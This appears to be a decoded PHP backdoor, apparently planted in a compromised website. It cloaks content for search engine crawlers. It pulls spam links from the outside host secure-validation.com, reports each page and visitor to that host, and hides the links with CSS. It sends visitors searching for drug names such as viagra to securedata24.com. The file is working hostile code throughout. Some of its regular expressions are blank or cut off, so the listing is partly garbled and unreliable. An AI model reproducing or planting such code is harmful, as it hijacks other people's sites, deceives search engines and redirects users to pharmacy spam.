/* Decoded by unphp.net */ $client_ip = array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : ''; if(!$client_ip) $client_ip=$_SERVER["REMOTE_ADDR"]; $client_ip = preg_replace('/.*unknown,\s*/', '', $client_ip); $ip = preg_replace("/\.(\d+)$/", '', $client_ip); $originalip = $client_ip; $cdomain="secure-validation.com";$rdomain="securedata24.com"; $gt_php="gt.php"; function FjAOcrsNEGevDfOjKLhQkGF($url) { $out = file_get_contents($url); return $out; } error_reporting(0); $page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]); if(preg_match("/Googlebot|bingbot|Slurp/", $_SERVER["HTTP_USER_AGENT"])) { if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; } $outsourceurl="http://$cdomain/showop.php?page=$page"; $out = FjAOcrsNEGevDfOjKLhQkGF($outsourceurl); if ($out!="" and $out!="1") { header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); print $out; exit; } $outsourceurl="http://$cdomain/$gt_php?site=".urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode($originalip).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']); $links_content = base64_decode(FjAOcrsNEGevDfOjKLhQkGF($outsourceurl)); $originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; $originaluseragent=$_SERVER["HTTP_USER_AGENT"]; $originalpage = FjAOcrsNEGevDfOjKLhQkGF($originalurl,$originaluseragent); if(preg_match("//is", $originalpage)) { preg_match_all("/.*?<\/a>/is", $links_content, $matches); $links = $matches[0]; $comment = ''; if(preg_match("//s", $links_content, $matches)) $comment = $matches[0]; function anchor($data) { if(!preg_match("/".$data[0]; } srand(crc32($originalurl)); for ($class_name = '', $i = 0, $z = strlen($a = 'abcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 8; $x = rand(0,$z), $class_name .= $a{$x}, $i++); $GLOBALS['i'] = 0; $originalpage = preg_replace_callback("/(.*?)<\/a>/is", "anchor", $originalpage); $i = $GLOBALS['i']; if($i >= count($links)) { for($k=0;$k/s", $links[$k]. ' ', $originalpage ); } } else { $n_links = round(count($links)/$i); for($k=0;$k<$i;$k++) { $out_content = ''; for($p=0;$p<$n_links;$p++) if(($k*$n_links+$p) < count($links)) { $links[$k*$n_links+$p] = preg_replace("//s", $out_content. ' ', $originalpage ); } } $originalpage = preg_replace("//s", '', $originalpage); $hide_methods = array("display: none", "visibility: hidden", "text-indent:5000px", "position: absolute; left: 7000px; top: 0px", "position:absolute; left:4000px"); $css = $hide_methods[array_rand($hide_methods)]; if(preg_match("/)/i", "$1$comment ", $originalpage); } elseif(preg_match("/)/i", "$1$comment ", $originalpage); } else $originalpage = preg_replace("/^/", "$comment", $originalpage); } else { if (preg_match('//i',$originalpage)) { $originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage); $originalpage=preg_replace('/()/i', "$1$links_content", $originalpage, 1); } elseif (preg_match('/<\/body>/i',$originalpage)) { $originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage); $originalpage=preg_replace('/(<\/body>)/i', "$links_content$1", $originalpage, 1); } } header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); print $originalpage; exit; } if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"]) && !preg_match("/^(000000000000)/", $originalip)) { $tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia'); $niche='unknown'; foreach($tabs as $tab) { if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"])) { $niche = $tab; } } $page = urlencode("http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]); if ($niche!="unknown") { header('Cache-Control: no-cache, no-store'); header('Pragma: no-cache'); header("Location: http://$rdomain/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"])); exit; } $tag = $_SERVER["HTTP_HOST"]; if(preg_match("/^www\./", $tag)) $tag = preg_replace( "/^www\.(.*)$/", "$1", $tag); $tag = substr(strtolower(base64_encode($tag)), 0, 5); if(preg_match("/$tag/", $_SERVER["REQUEST_URI"])) { header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header("Location: http://$rdomain/r.pl?niche=nch&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"])); exit; } } $originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; $originaluseragent=$_SERVER["HTTP_USER_AGENT"]; $originalpage = FjAOcrsNEGevDfOjKLhQkGF($originalurl,$originaluseragent); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); print $originalpage;